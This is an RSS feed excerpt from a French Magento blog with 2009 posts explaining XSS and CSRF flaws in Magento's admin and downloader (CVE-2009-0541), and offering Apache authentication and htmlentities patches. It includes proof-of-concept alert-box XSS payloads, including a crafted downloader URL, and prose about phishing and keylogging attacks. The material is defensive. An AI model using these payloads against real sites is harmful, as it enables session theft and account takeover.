<p>Sur la sécurité c&#8217;est une autre histoire. Prenez des prestataires connus, de confiances, aux performances régulières et vérifiables. Pour tout ce qui concerne le contenu qui sera directement affiché dans la page sans vérification (RSS par exemple) redoublez de prudence. Votre site affichera ce qu&#8217;on lui envoi, votre internaute lira ce que le site lui envoie.</p>
<p>Si le site qui est la source d&#8217;information est corompu, votre site est compromis, votre internautes sont compromis. C&#8217;est invisible et imparable, avec une iframe &laquo;&nbsp;invisible&nbsp;&raquo; (d&#8217;un pixel) qui contiendra le javascript malieux, l&#8217;utilisateur sera à la merci de l&#8217;assaillant. N&#8217;oubliez pas que Flash &amp; Javascript disposent de fonctionnalités très puissantes permettant le pire comme le meilleur !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.wikigento.com/latence/les-contenus-tiers-peuvent-ralentir-ou-compromettre-un-site/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Magento : après les XSS les CSRF ?</title>
		<link>http://www.wikigento.com/securite/magento-apres-les-xss-les-csrf/</link>
		<comments>http://www.wikigento.com/securite/magento-apres-les-xss-les-csrf/#comments</comments>
		<pubDate>Thu, 12 Mar 2009 18:01:47 +0000</pubDate>
		<dc:creator>Philippe Humeau</dc:creator>
				<category><![CDATA[sécurité]]></category>
		<category><![CDATA[admin]]></category>
		<category><![CDATA[backoffice]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[magento]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.wikigento.com/?p=544</guid>
		<description><![CDATA[protéger son backoffice contre les XSS &#038; CSRF]]></description>
			<content:encoded><![CDATA[<p>Bonjour à toutes &amp; à tous,</p>
<p>Je suis content de revenir parmis vous pour discuter d&#8217;un sujet qui a refait l&#8217;actualité en mon absence semble t&#8217;il : Magento &amp; la sécurité.</p>
<p>Après une belle vague de 3 Cross Site Scripting (XSS) à laquelle nous avons essayé d&#8217;apporter <a title="patch xss magento" href="http://www.wikigento.com/?p=458" target="_blank">des solutions</a> avec Gabriel, une nouvelle faille de type CSRF a été révélée, un peu sauvagement et un peu tôt visiblement.</p>
<p>En général, dans le monde des experts sécurité, on évite de publier une vulnérabilité avant d&#8217;avoir prévenu l&#8217;éditeur du produit et avant de lui avoir donné le temps réagir. Un mois est une valeur qui n&#8217;a rien de conventionné mais qui est communément accepté comme le &laquo;&nbsp;minimum&nbsp;&raquo;. Le soucis c&#8217;est que quand une faille affecte ™Windows©, ©Mic®osoft™ peut déployer un patch correctif par son système automatisé de mise à jour.</p>
<p>Pour un site Web commerçant c&#8217;est un peu plus complexe. On ne fait pas une montée de version comme ca, du jour au lendemain. Déjà même pour ce blog WordPress et même en étant moi même un IT, j&#8217;ai 8 extensions à mettre à jours et je ne le fais pas par crainte de planter le blog. Alors que dire pour un site de E-commerce.</p>
<p>Donc, quand on a une faille sur Magento, on peut parier que le correctif se fera &laquo;&nbsp;à la main&nbsp;&raquo; et pas par une montée de version, dans le meilleur des cas. La plupart du temps, le correctif est tout simplement ignoré, on vit avec la faille en espérant que personne ne la remarque.</p>
<p><span style="text-decoration: underline;">Revenons à nos moutons :</span> le Cross Site Request Forgery aka &laquo;&nbsp;CSRF&nbsp;&raquo;&#8230;</p>
<p>Encore un OVNI pour beaucoup de Web developpers mais une réalité terrain pour les personnes mal intentionnées. La sécurité &laquo;&nbsp;<em>Web 2.0</em>&nbsp;&raquo; (chapeau les marketeux) est une chose un peu complexe, il existe de multiples attaques (XSS,SQl injection,anti dns pinning, CSRF, Sop, smuggling, etc&#8230;) et un article complet aurait bien sa place à l&#8217;avenir sur le sujet.</p>
<p>Dans l&#8217;immédiat, il est important de comprendre que la faille vient souvent d&#8217;un mauvais usage (ou d&#8217;un oubli d&#8217;usage) de Zend. Zend est propre et filtre correctement tout un tas de chose qui peuvent compromettre un site, mais quand on ajoute &laquo;&nbsp;à la main&nbsp;&raquo; du code, sans appeler les routines natives Zend, on perd cette protection. Attention, ce qui vaut ici pour Varien vaut aussi pour les développeurs Web qui enrichisse un site de E-commerce de leurs propres créations. Zend protège mais ne fait pas tout non plus contre toutes les attaques&#8230;</p>
<p>Pour se protéger, il existe des méthodes simples, à mettre en place systématiquement (à mon sens). Dans un premier temps, les URLs d&#8217;admin doivent être obfusquées, cachées, en tout cas difficiles à trouver. Pour se faire, garder le chemin par défaut n&#8217;est pas une idée à retenir <img src='http://www.wikigento.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><span style="text-decoration: underline;">Dans le fichier qui paramètre cette URL (app/etc/local.xml), on peut modifier la ligne :</span><br />
<span style="color: #0000ff;">&lt;frontName&gt;&lt;![CDATA["mettre la fin d'url souhaitée ici"]]&gt;&lt;/frontName&gt;</span></p>
<p>Ensuite, comme après chaque manipulation fondamentale, on efface son cache (dans <em>var/cache/)<br />
</em>Si vous ne trouvez pas le frontName, vous pouvez l&#8217;ajouter dans des tags &lt;config&gt;&lt;/config&gt;</p>
<p>C&#8217;est une protection de fond et autant, au passage, ajouter celle qui était <a href="http://www.wikigento.com/?p=458" target="_blank">déjà mentionnée dans l&#8217;article sur les correctifs XSS</a> : le htpassword. Comme cela, votre admin est difficile à trouver et ensuite pour y entrer, il faut avoir un premier login/pass&#8230; dur.</p>
<p style="margin: 0cm 0cm 0pt;"><em>&lt;LocationMatch “/</em><span style="color: #0000ff;">mettre la fin d&#8217;url souhaitée ici</span><em>” &gt;<br />
AuthUserFile /var/www/htdocs/.htpasswd<br />
AuthType Basic<br />
AuthName “Magento Backoffice Login”<br />
Require valid-user<br />
&lt;/LocationMatch&gt;</em></p>
<p><span style="text-decoration: underline;">Je pense qu&#8217;on peut aussi ajouter :</span> (j&#8217;ai pas testé cependant)<br />
<code><em>Allow from 111.222.121.212 (<span style="color: #0000ff;">remplacer par son IP</span>)<br />
Satisfy Any</em><br />
</code><br />
Comme ca, on peut soit venir de l&#8217;ip ou avoir le mot de passe. Soit l&#8217;un, soit l&#8217;autre, on peut faire que l&#8217;un ou que l&#8217;autre. Si on vient de la bonne IP, évidemment, on a pas à taper le mot de passe. Avec ca, finit les XSS ou CSRF sur vos backoffice d&#8217;admin.</p>
<p>Ceci étant, ça fait deux série de vulns en 2 semaines, ça veut dire qu&#8217;il va falloir passer tout cela au crible, je suppose aussi que des experts sont déjà sur le coup et en ont déjà communiqué à Varien mais attendent un mois avant de les publier.</p>
<p>Allez, demain ou lundi on parlera de ces inclusions de contenus qui ralentissent les beaux sites web que vous mettez en place <img src='http://www.wikigento.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.wikigento.com/securite/magento-apres-les-xss-les-csrf/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Les XSS comment ca marche !</title>
		<link>http://www.wikigento.com/securite/les-xss-comment-ca-marche/</link>
		<comments>http://www.wikigento.com/securite/les-xss-comment-ca-marche/#comments</comments>
		<pubDate>Wed, 25 Feb 2009 13:55:37 +0000</pubDate>
		<dc:creator>Philippe Humeau</dc:creator>
				<category><![CDATA[sécurité]]></category>
		<category><![CDATA[Explications XSS]]></category>

		<guid isPermaLink="false">http://www.wikigento.com/?p=484</guid>
		<description><![CDATA[Explication et vulgarisation des concepts de cross site scripting ainsi que des nuances qu'apportent les méthodes GET et POST dans l'exploitation de celles-ci.]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Alors, puisque la sécurité semble venir sur le devant de la scène Magento et que, par pur hasard, votre serviteur a fait un peu de sécurité avant de faire de l&#8217;hébergement Magento. Puisque de surcroit vous avez des questions sur le sujet, un petit article s&#8217;impose. On va faire simple car la sécurité n&#8217;est pas le thème de ce blog et donc il ne faut pas lasser le lectorat mais on va réadapter une pensée de Lao Tseu pour l&#8217;occasion :</p>
<p style="text-align: justify;"><em>&laquo;&nbsp;Montre à un développeur une XSS, il l&#8217;a corrigera. Apprends lui comment ça marche, il n&#8217;en fera plus !&nbsp;&raquo;<br />
</em><br />
Du moment que la pensée de Lao Tseu débattue n&#8217;est pas :<em><br />
&laquo;&nbsp;Quand le sage montre une XSS du doigt, l&#8217;idiot regarde le doigt&nbsp;&raquo;</em><br />
ca ne sera pas du temps perdu !</p>
<p style="text-align: justify;">Plus sérieusement : une XSS, ça fait peur! C&#8217;est un peu comme une maladie honteuse dont on ne saurait pas trop ce qu&#8217;elle fait et à quoi ça peut bien mener. Certains diront que l&#8217;on crie au loup, d&#8217;autres savent la portée et le résultat de ce genre de faille.</p>
<h2><strong>Principes généraux</strong></h2>
<p><strong> </strong></p>
<p style="text-align: justify;">XSS pour Cross Site Scripting. Soit en gros, répandre du code dans un site. Le but (pour le pirate) c&#8217;est de faire s&#8217;afficher, non pas du html que votre navigateur <strong><span style="text-decoration: underline;">affichera</span></strong>, mais de renvoyer du langage de script (javascript notamment) que votre navigateur <strong><span style="text-decoration: underline;">interprétera</span></strong>.</p>
<p style="text-align: justify;">Si on fait simple, imaginons que quelqu&#8217;un post dans ce blog un commentaire en Javascript qui soit <strong>&lt;script&gt;alert(123)&lt;/script&gt;</strong> et que mon blog ne soit pas protégé contre ca. Quand vous allez afficher le commentaire dans votre navigateur, il ne va pas mettre le texte <strong>&lt;script&gt;alert(123)&lt;/script&gt;</strong> dans une page HTML et vous montrer le texte mais il va lancer ce code Javascript et ouvrir une boite de dialogue qui contiendra le texte « 123 ».</p>
<p style="text-align: justify;">Pour la démonstration, les experts en sécurité ne se prennent pas la tête à mettre un code complexe, il suffit de prouver que la boite d&#8217;alerte s&#8217;affiche, si elle le fait, on peut ensuite mettre ce que l&#8217;on veut comme script à la place et que la XSS est présente.</p>
<p style="text-align: justify;">L&#8217;exemple est bénin, mais&#8230;</p>
<p>Si à la place d&#8217;une gentille popup box qui affiche 123, mon navigateur se met à faire des choses plus discrète et plus gênante ? Par exemple, créer une Iframe invisible en surimpression de la page que je consulte ? Iframe qui va envoyer les informations vers un autre site contrôlé par un pirate ? Ce n&#8217;est pas de la science fiction, c&#8217;est même très simple à faire pour un professionnel. Mais le Javascript, surtout couplé à Ajax, c&#8217;est encore plus puissant que ca. On peut écouter les frappes clavier, scanner le réseau local de la victime, altérer son affichage de page web, effectuer des opérations sur les sites ou il est authentifié, lui voler ses sessions, bref, ca peut être très dangereux, selon les cas, les circonstances etc&#8230;</p>
<h2><strong>Le cas des trois XSS de Magento</strong></h2>
<p style="text-align: justify;">Ok, vous avez compris, le XSS ce n&#8217;est pas du tout anodin. Dans le contexte des 3 failles Magento, on risque quoi plus précisément ? Pour les  deux premières présentées dans <a href="http://www.wikigento.com/?p=406" target="_blank"><span style="text-decoration: underline;">cet article</span></a>, pas grand-chose. Disons que le risque est présent mais que l&#8217;exploitation est complexe car la méthode utilisée est un POST et non un GET. En gros, à la place de l&#8217;administrateur légitime, il faudrait saisir <strong>&laquo;&nbsp;&gt; &lt;script&gt;alert(123)&lt;/script&gt; </strong>dans le champ login. Et à la place de (123), mettre le code source Javascript d&#8217;un cheval de Troie. (ca existe, ca se trouve sans soucis)</p>
<p style="text-align: justify;">Comme l&#8217;administrateur légitime ne le fera pas de lui-même, ça implique, si l&#8217;utilisateur est déjà loggé sur son backoffice, de l&#8217;amener à se connecter à un site contrôlé par le pirate, qui va faire du scripting dans son dos avec la faille XSS, pour tenter de prendre le contrôle de sa session. (Le POST sera alors « transparent »)</p>
<p style="text-align: justify;">Si l&#8217;utilisateur n&#8217;est pas loggé, ca implique toujours de l&#8217;envoyer vers un site contrôlé par le pirate et à utiliser ce site pour lancer un javascript qui va écouter les frappes clavier, pour obtenir son password de backoffice, en espérant qu&#8217;il ne ferme pas l&#8217;onglet du site compromis (et ne fasse pas de reload ou de back) pendant qu&#8217;il se loggera sur son backoffice. Le taux de réussite est moyen, la patience est de rigueur mais ce n&#8217;est pas infaisable. Disons que pendant nos tests d&#8217;intrusion, on a un taux d&#8217;environ 20% sur ce type d&#8217;attaque.</p>
<p style="text-align: justify;">Dans les deux cas, exploiter ces XSS en méthode « POST » c&#8217;est un peu complexe et ca s&#8217;assimile plus à une exploitation de type CSRF. Ce n&#8217;est pas infaisable mais le script kiddie du coin ne maîtrise pas ce genre d&#8217;attaque un peu complexe (heureusement). Ca reste mal mais pas catastrophique puisque la barre d&#8217;entrée est assez élevée.</p>
<p>Par contre, la troisième, le downloader&#8230; Ça c&#8217;est <span style="text-decoration: underline;">très</span> dangereux.</p>
<p><span style="text-decoration: underline;">Quand j&#8217;appelle :</span><strong><br />
http://mon_site_magento/ downloader/?return=%22%3Cscript%3Ealert(123)%3C/script%3E</strong></p>
<p>Je fais un GET et non un POST et ca change tout ! En fait ca simplifie tout !</p>
<p style="text-align: justify;">Par exemple, un simple fakemail (usurpation d&#8217;identité) permettra à l&#8217;attaquant d&#8217;envoyer un lien piégé, contenant du Javascript nuisible et adapté, ce qui lui donnera le contrôle des prochaines actions qui seront effectuées. L&#8217;idée est simple, le mail affiche un lien normal vers le backoffice, le lien en réalité contient le XSS et donc du Javascript d&#8217;écoute du clavier (par exemple) et ensuite vous vous loggé&#8230; Perdu.</p>
<p style="text-align: justify;">Ecrire un fakemail, c&#8217;est le paragraphe 1 du chapitre 1, du manuel du pirate. Vous pouvez même le faire en changeant votre nom dans outlook, c&#8217;est déclaratif&#8230; Je peux vous envoyer un mail de la part de <a href="mailto:neil.amstrong@lune.org">neil.amstrong@lune.org</a> en 10 secondes. Alors si un pirate se fait passer pour le patron de la boite et demande par mail à la personne en charge du backoffice de se connecter (lien dans le mail) et de contrôler les ventes, vous pensez qu&#8217;elle va faire quoi la personne en question ?</p>
<p style="text-align: justify;">C&#8217;est une attaque très simple à mener donc très dangereuse et là, le script kiddie peut prendre le contrôle de votre backoffice.</p>
<h2><strong>Où Varien a t&#8217;il fait un oubli ? </strong></h2>
<p style="text-align: justify;">Well, pour les deux premières, l&#8217;explication vient d&#8217;un oubli dans le contrôle des sorties d&#8217;erreur. Je tape n&#8217;importe quoi dans la case « nom d&#8217;utilisateur » et le système me réaffiche ce que j&#8217;ai tapé pour me dire que ce n&#8217;est pas le bon login.</p>
<p style="text-align: justify;">Si l&#8217;utilisation du framework Zend avait été uniforme et/ou si les retours d&#8217;erreurs avaient été nettoyés avec une fonction PHP du nom de htmlentities(), le problème n&#8217;aurait même pas existé. Ce qui est vrai pour Varien l&#8217;a été pour un nombre hallucinant de soft et ne riez pas avant d&#8217;avoir relu vos propres codes sources.</p>
<h2><strong>Cela peut-il se reproduire ?</strong></h2>
<p style="text-align: justify;">Ouiiiiii, bien sûr.</p>
<p>Un oubli, une fois, un lendemain de soirée arrosée ou encore un « <a title="ballmer peak" href="http://xkcd.com/323/" target="_blank">ballmer peak</a> » d&#8217;un développeur et hop&#8230;<br />
C&#8217;est la XSS. J&#8217;exagère un peu dans le sens ou, normalement, on code dans le framework Zend et on applique une revue de code, on test tout, on utilise des vérificateurs statiques ou dynamiques de code source etc&#8230; Cela devrait donc se produire très rarement voir pas. Varien a été sensibilisé cette fois ci, ca éveille leur attention sur ce point, la chasse est lancée et les consignes passées je pense. De plus, en un an, c&#8217;est la première alerte sécurité.</p>
<p>Mais&#8230; Si Varien gagnait un peu plus sa vie ? Si Magento leur rapportait plus d&#8217;argent, qu&#8217;ils avaient plus de partenaires etc&#8230; Ils auraient pu s&#8217;acheter les outils d&#8217;analyse statiques et dynamique dont je parle. Ma boite fait (aussi) du test de sécurité sur des soft/site Web, donc forcément on a  ce genre d&#8217;outils, mais ca coûte cher, très cher, or pour le moment, Varien à des moyens limités, une roadmap à respecter et pas des milliers de dollars à lancer par les fenêtres pour acheter ce genre de prestations ou d&#8217;outils.</p>
<p>Je vais voir si mon équipe de tests de sécurité aurait le temps de se pencher un peu dessus au prochain creux de production.</p>
<p>Allez, on applique les correctifs maintenant qu&#8217;on sait que c&#8217;est dangereux !</p>
<p><span style="text-decoration: underline;">Celui de Gabriel de Fragento :</span> <a href="http://www.fragento.org/Bugs/9509-SECURITE-3-failles-XSS-dans-Magento-patchez.html" target="_blank">ICI</a><br />
<strong>ET</strong> (OU seulement dans le pire cas)<br />
<span style="text-decoration: underline;">Celui de Wikigento :</span> <a title="Correctifs XSS Magento" href="http://www.wikigento.com/?p=458" target="_blank">ICI</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.wikigento.com/securite/les-xss-comment-ca-marche/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Correctifs pour les failles de sécurité de Magento</title>
		<link>http://www.wikigento.com/securite/correctifs-pour-les-failles-de-securite-de-magento/</link>
		<comments>http://www.wikigento.com/securite/correctifs-pour-les-failles-de-securite-de-magento/#comments</comments>
		<pubDate>Wed, 25 Feb 2009 11:45:44 +0000</pubDate>
		<dc:creator>Philippe Humeau</dc:creator>
				<category><![CDATA[sécurité]]></category>
		<category><![CDATA[correctifs failles XSS magento]]></category>

		<guid isPermaLink="false">http://www.wikigento.com/?p=458</guid>
		<description><![CDATA[Correctifs pour les failles XSS de Magento]]></description>
			<content:encoded><![CDATA[<h2 class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">Correctifs des XSS Magento</h2>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
<p style="MARGIN: 0cm 0cm 0pt">
<p style="MARGIN: 0cm 0cm 0pt">1°) Mettre à jour en 1.2.1.1 ne résoud pas le problème.</p>
<p>2°) Gabriel de Fragento a préparé un <a href="http://www.fragento.org/Bugs/9509-SECURITE-3-failles-XSS-dans-Magento-patchez.html" target="_blank">Patch correctif pour Magento<br />
</a></p>
<p>Voici une solution de la maison, en 3 étapes, qui fonctionne de suite si vous avez le moyen de modifier les réglages de votre VirtualHost Apache ou de le faire faire par votre hébergeur.</p>
<p style="MARGIN: 0cm 0cm 0pt">(De tête, mais ça devrait marcher sous la plupart des Linux, avec un shell root)</p>
<p style="MARGIN: 0cm 0cm 0pt">
<p style="MARGIN: 0cm 0cm 0pt">
<h4 style="MARGIN: 0cm 0cm 0pt">Etape 1 :</h4>
<p style="MARGIN: 0cm 0cm 0pt">
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="text-decoration: underline;">CTRL+C (copier) de ce qu&#8217;il y a ci-dessous :</span></p>
<p style="MARGIN: 0cm 0cm 0pt"><em>&lt;LocationMatch “/admin&nbsp;&raquo; &gt;<br />
AuthUserFile /var/www/htdocs/.htpasswd<br />
AuthType Basic<br />
AuthName “Magento Backoffice Login”<br />
Require valid-user<br />
&lt;/LocationMatch&gt;</em><br style="mso-special-character: line-break" /><br style="mso-special-character: line-break" /></p>
<p style="MARGIN: 0cm 0cm 0pt"><em>&lt;LocationMatch “/downloader&nbsp;&raquo; &gt;<br />
AuthUserFile /var/www/htdocs/.htpasswd<br />
AuthType Basic<br />
AuthName “Magento Backoffice Login”<br />
Require valid-user<br />
&lt;/LocationMatch&gt;</em></p>
<p>Insérez ca dans la configuration du virtualhost de votre site (par exemple)<br />
cat &gt;&gt; /etc/apache2/sites-available/magento</p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="font-size: small; font-family: Times New Roman;">CTRL+V (coller)<br />
CTRL+D (ça stop la saisie dans le fichier et le sauve)<br style="mso-special-character: line-break" /><br style="mso-special-character: line-break" /></span></p>
<p style="MARGIN: 0cm 0cm 0pt">Remplacez <em>/var/www/htdocs/.htpasswd</em> par le bon chemin de votre site et <em>/etc/apache2/sites-available/magento</em> par le chemin vers le fichier de virtualhost de votre site.</p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">Pouvoir le faire en .htaccess aurait été l&#8217;idéal car même sans être root sur la machine, vous auriez pu patcher le problème sur votre hébergement mutualisé, mais&#8230; La directive &laquo;&nbsp;LocationMatch&nbsp;&raquo; ne fonctionne pas en .htaccess&#8230; <img src='http://www.wikigento.com/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' /> <span style="font-size: small; font-family: Times New Roman;"><br style="mso-special-character: line-break" /><br style="mso-special-character: line-break" /></span></p>
<h4 class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">Etape 2 :</h4>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt"><span style="text-decoration: underline;">Créez un fichier .htpasswd :</span><br />
<em>htpasswd -c /var/www/htdocs/.htpasswd backoffice<br />
chown root.root /var/www/htdocs/.htpasswd<br />
chmod 644 /var/www/htdocs/.htpasswd</em> <span style="font-size: small; font-family: Times New Roman;"><em><br />
</em></span><br />
Le programme vous demande un mot de passe, mettez en un décent. (au moins 8 caractères dont deux spéciaux) et idem, remplacez par le bon chemin pour le site, le chown et le chmod mettent des droits raisonnables sur ce fichier htpasswd.</p>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
<h4 class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">Etape 3 :</h4>
<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
<p style="MARGIN: 0cm 0cm 0pt"><span style="text-decoration: underline;">Redémarrez Apache :</span> /etc/init.d/apache2 restart<br />
(un reload suffit peut être d&#8217;ailleurs, je ne sais plus)</p>
<p style="MARGIN: 0cm 0cm 0pt">
<h4 style="MARGIN: 0cm 0cm 0pt">Vérification :</h4>
<p style="MARGIN: 0cm 0cm 0pt">
<p style="MARGIN: 0cm 0cm 0pt">Retournez à votre Admin, vous devriez avoir une fenêtre qui vous demande un login &amp; un pass, utilisez le login backoffice et le mot de passe que vous avez tapé. Ne pas faire &laquo;&nbsp;retenir mon mot de passe&nbsp;&raquo; dans votre browser.</p>
<p style="MARGIN: 0cm 0cm 0pt">
<p style="MARGIN: 0cm 0cm 0pt">PS : N&#8217;oubliez pas que dans la conf d&#8217;apache (généralement /etc/apache2/apache2.conf) il doit y avoir ça :<br />
<em>&lt;Files ~ &laquo;&nbsp;^\.ht&nbsp;&raquo;&gt;<br />
Order allow,deny<br />
Deny from all<br />
&lt;/Files&gt;</em></p>
<p style="MARGIN: 0cm 0cm 0pt">Pour empêcher qu&#8217;on puisse télécharger vos fichiers .htaccess et .htpasswd (ceci dit ca y est par défaut normalement)</p>
<p>
<p style="MARGIN: 0cm 0cm 0pt"></p>
<p>
<p style="MARGIN: 0cm 0cm 0pt"></p>
<h2 style="MARGIN: 0cm 0cm 0pt"><em><strong>Ajout par Gabriel de Fragento.org</strong></em></h2>
<p>
<p style="MARGIN: 0cm 0cm 0pt"></p>
<p style="MARGIN: 0cm 0cm 0pt">En attendant un correctif officiel, Fragento vous propose des patchs maison :</p>
<p>
<p style="MARGIN: 0cm 0cm 0pt"></p>
<p><strong>1) Correctif pour le Downloader</strong><br />

<p style="MARGIN: 0cm 0cm 0pt"></p>
<p>Dans le fichier : downloader\Maged\Model\Session.php<br />
A la ligne n° 58</p>
<p>Remplacez le code :</p>
<p>if (!empty($_GET['return'])) {<br />
$this-&gt;set(&#8216;return_url&#8217;, $_GET['return']);<br />
}</p>
<p>Par :</p>
<p>if (!empty($_GET['return'])) {<br />
$this-&gt;set(&#8216;return_url&#8217;, htmlentities($_GET['return']));<br />
}</p>
<p><strong>2) Correctif pour la page de login</strong></p>
<p>A défaut de modifier le noyau &#8211; ce qui empêcherait toute mise à jour, modifiez le template de l&#8217;administration.</p>
<p>Dans le fichier : app\design\adminhtml\default\default\template\login.phtml<br />
Ligne : 54</p>
<p>Remplacez le code :</p>
<p>value=&nbsp;&raquo;&lt;?php echo $username ?&gt;&nbsp;&raquo;</p>
<p>par :</p>
<p>value=&nbsp;&raquo;&lt;?php echo htmlentities($username) ?&gt;&nbsp;&raquo;</p>
<p><strong>3) Correctif pour la page de renvoi du mot de passe</strong></p>
<p>A défaut de modifier le noyau &#8211; ce qui empêcherait toute mise à jour, modifiez le template de l&#8217;administration.</p>
<p>Dans le fichier : app\design\adminhtml\default\default\template\forgotpassword.phtml<br />
Ligne : 57</p>
<p>Remplacez le code :</p>
<p>value=&nbsp;&raquo;&lt;?php echo $email?&gt;&nbsp;&raquo;</p>
<p>par :</p>
<p>value=&nbsp;&raquo;&lt;?php echo htmlentities($email) ?&gt;&nbsp;&raquo;</p>
<p><strong>Remarques :</strong></p>
<ul>
<li>Vous êtes fortement invités à diffuser le <a href="http://www.fragento.org/Bugs/9509-SECURITE-3-failles-XSS-dans-Magento-patchez.html"><strong>lien du sujet sur Fragento</strong></a> afin d&#8217;éviter des déconvenues aux utilisateurs de Magento ayant un site en production</li>
<li>Si vous copiez/collez les bouts de codes, assurez-vous que les guillemets sont conservés</li>
<li>D&#8217;une manière générale n&#8217;accédez jamais ni au Downloader ni à l&#8217;Administration via un lien fourni par une personne tierce, mais toujours par un accès direct, pour éviter tout risque de <a rel="nofollow" title="Article &quot;Phising&quot; sur Wikipédia" href="http://fr.wikipedia.org/wiki/Phishing">phising</a></li>
<li>Ces correctifs n&#8217;affectent pas les fonctionnalités de Magento</li>
<li>Tout avis d&#8217;un autre développeur sur ces correctifs &laquo;&nbsp;rapides &amp; maison&nbsp;&raquo; est bienvenue ! Je n&#8217;ai pas la prétention que ces correctifs soient les seuls possibles, et je ne garantis pas leur efficacité pleine et totale (même si après test toute injection de code est demeurée vaine)</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.wikigento.com/securite/correctifs-pour-les-failles-de-securite-de-magento/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Alerte : 3 failles de sécurité XSS dans Magento !</title>
		<link>http://www.wikigento.com/securite/alerte-3-failles-xss-dans-magento/</link>
		<comments>http://www.wikigento.com/securite/alerte-3-failles-xss-dans-magento/#comments</comments>
		<pubDate>Tue, 24 Feb 2009 17:42:01 +0000</pubDate>
		<dc:creator>Philippe Humeau</dc:creator>
				<category><![CDATA[sécurité]]></category>
		<category><![CDATA[correctif]]></category>
		<category><![CDATA[failles cross site scripting XSS magento]]></category>

		<guid isPermaLink="false">http://www.wikigento.com/?p=406</guid>
		<description><![CDATA[3 failles de sécurité de type XSS dans Magento 1.2.0 et précédentes avec le correctif sans upgrade par nos soins et ceux de Fragento.]]></description>
			<content:encoded><![CDATA[<p>Aïe, comme une prémonition, le post du 23/02 sur la sécurité se trouve malheureusement très adapté à la situation :<br />
3 failles de sécurité de type XSS, cross site scripting, viennent d&#8217;être révélées sur <a href="http://www.securityfocus.com/bid/33872/info" target="_self">Security Focus</a> ce jour à propos de Magento v1.2.0.<br />
<span style="text-decoration: underline;"><br />
Numéro CVE :</span> CVE-2009-0541<br />
<span style="text-decoration: underline;">Numéro Bugtraq :</span> 33872</p>
<p>En effet, trois failles de sécurité de type XSS (voir post du 23/02/2009 sur la sécurité) sont présentes dans Magento 1.2.0 et probablement dans les précédentes versions également. La primauté de cette découverte revient à Loukas Kalenderidis de Sens Of Security. Du coup, je me dis que ca vaudrait le coup de passer un test un peu en profondeur à la chasse d&#8217;autres XSS, sait on jamais. De toute façon, le <em>&laquo;&nbsp;Web 2.0&#8243;</em> c&#8217;est une mine en terme de sécurité, si ca vous intéresse, <a title="Failles Web 2.0" href="http://www.wikigento.com/wp-content/uploads/2009/02/web2-0_fr.pdf" target="_blank">ici, un article</a> que j&#8217;ai publié il y a quelques années dans Hackin9 à ce sujet (il n&#8217;y a pas tout, notamment l&#8217;anti DNS pinning n&#8217;y est pas de mémoire, mais ce sont de bonnes bases).</p>
<p>Pas de panique, la très grande majorité de Magento repose sur Zend qui est un Framework solide donc on ne devrait pas en avoir des tonnes d&#8217;autres mais il va falloir être vigilant. De plus Varien a été prévenu par l&#8217;auteur de ces 3 failles le 21/01/2009. Yoav (Directeur Technique de Varien) a probablement lancé la chasse dans le reste du code mais Gabriel de Fragento nous indique que sur une 1.2.1.1 il a repéré le même XSS comme fonctionnel (voir commentaire). Le problème ne serait donc pas résolu malgré le fait que Sens Of Security a joué dans les normes visiblement, l&#8217;éditeur à été prévenu un mois avant la publication, ce qui semble un délai raisonnable.</p>
<p>Voila ce qui arrive quand on développe en dehors du framework Zend ou que l&#8217;on ne contrôle pas assez ses retours d&#8217;erreurs&#8230; Les risques de ce type, les XSS, principalement sur l&#8217;admin du backoffice, sont non négligeables.</p>
<h2><strong><span style="text-decoration: underline;">Actions à mener rapidement</span></strong><a href="http://www.magentocommerce.com/download" target="_blank"><br />
</a></h2>
<ol>
<li><a href="http://www.magentocommerce.com/download" target="_blank">Upgradez votre Magento !</a> Dès qu&#8217;une version corrigée sera disponible. Pour le moment, la dernière c&#8217;est la 1.2.1.1 au moment de la rédaction de ce billet, c&#8217;est donc une montée de version mineure si vous êtes déjà en 1.2.x, donc pas ou peu de problème (si vous n&#8217;avez pas codé dans le Core). Par contre si vous êtes en pré 1.2, ça risque d&#8217;être un peu plus sportif. De toute façon la version actuelle ne semble pas régler tout le problème.</li>
<li>Mettez le bout de conf apache qui est en bas dans le fichier de virtualhost de votre site (ou faite le faire à votre hébergeur). Ça protégera votre backoffice, XSS ou pas.</li>
<li> Sinon, vous pourrez prochainement appliquer le correctif logiciel qui nous sera fournit par Gabriel de <a href="http://www.fragento.org" target="_blank">Fragento</a></li>
</ol>
<h2><span style="text-decoration: underline;">Les failles en elles mêmes<br />
</span></h2>
<h4><em>Vulnérabilité 1, page de login d&#8217;administration</em></h4>
<p>Quand vous ratez un login, la valeur que vous allez entrer dans le champ &laquo;&nbsp;nom d&#8217;utilisateur&nbsp;&raquo; va être renvoyé à l&#8217;utilisateur sans encodage de la réponse :</p>
<ol>
<li> Allez sur la page d&#8217;administration (http://monmagento/index.php/admin ou quelque chose du genre si il y a un rewriting ou une autre racine du site, bref le /admin quoi)</li>
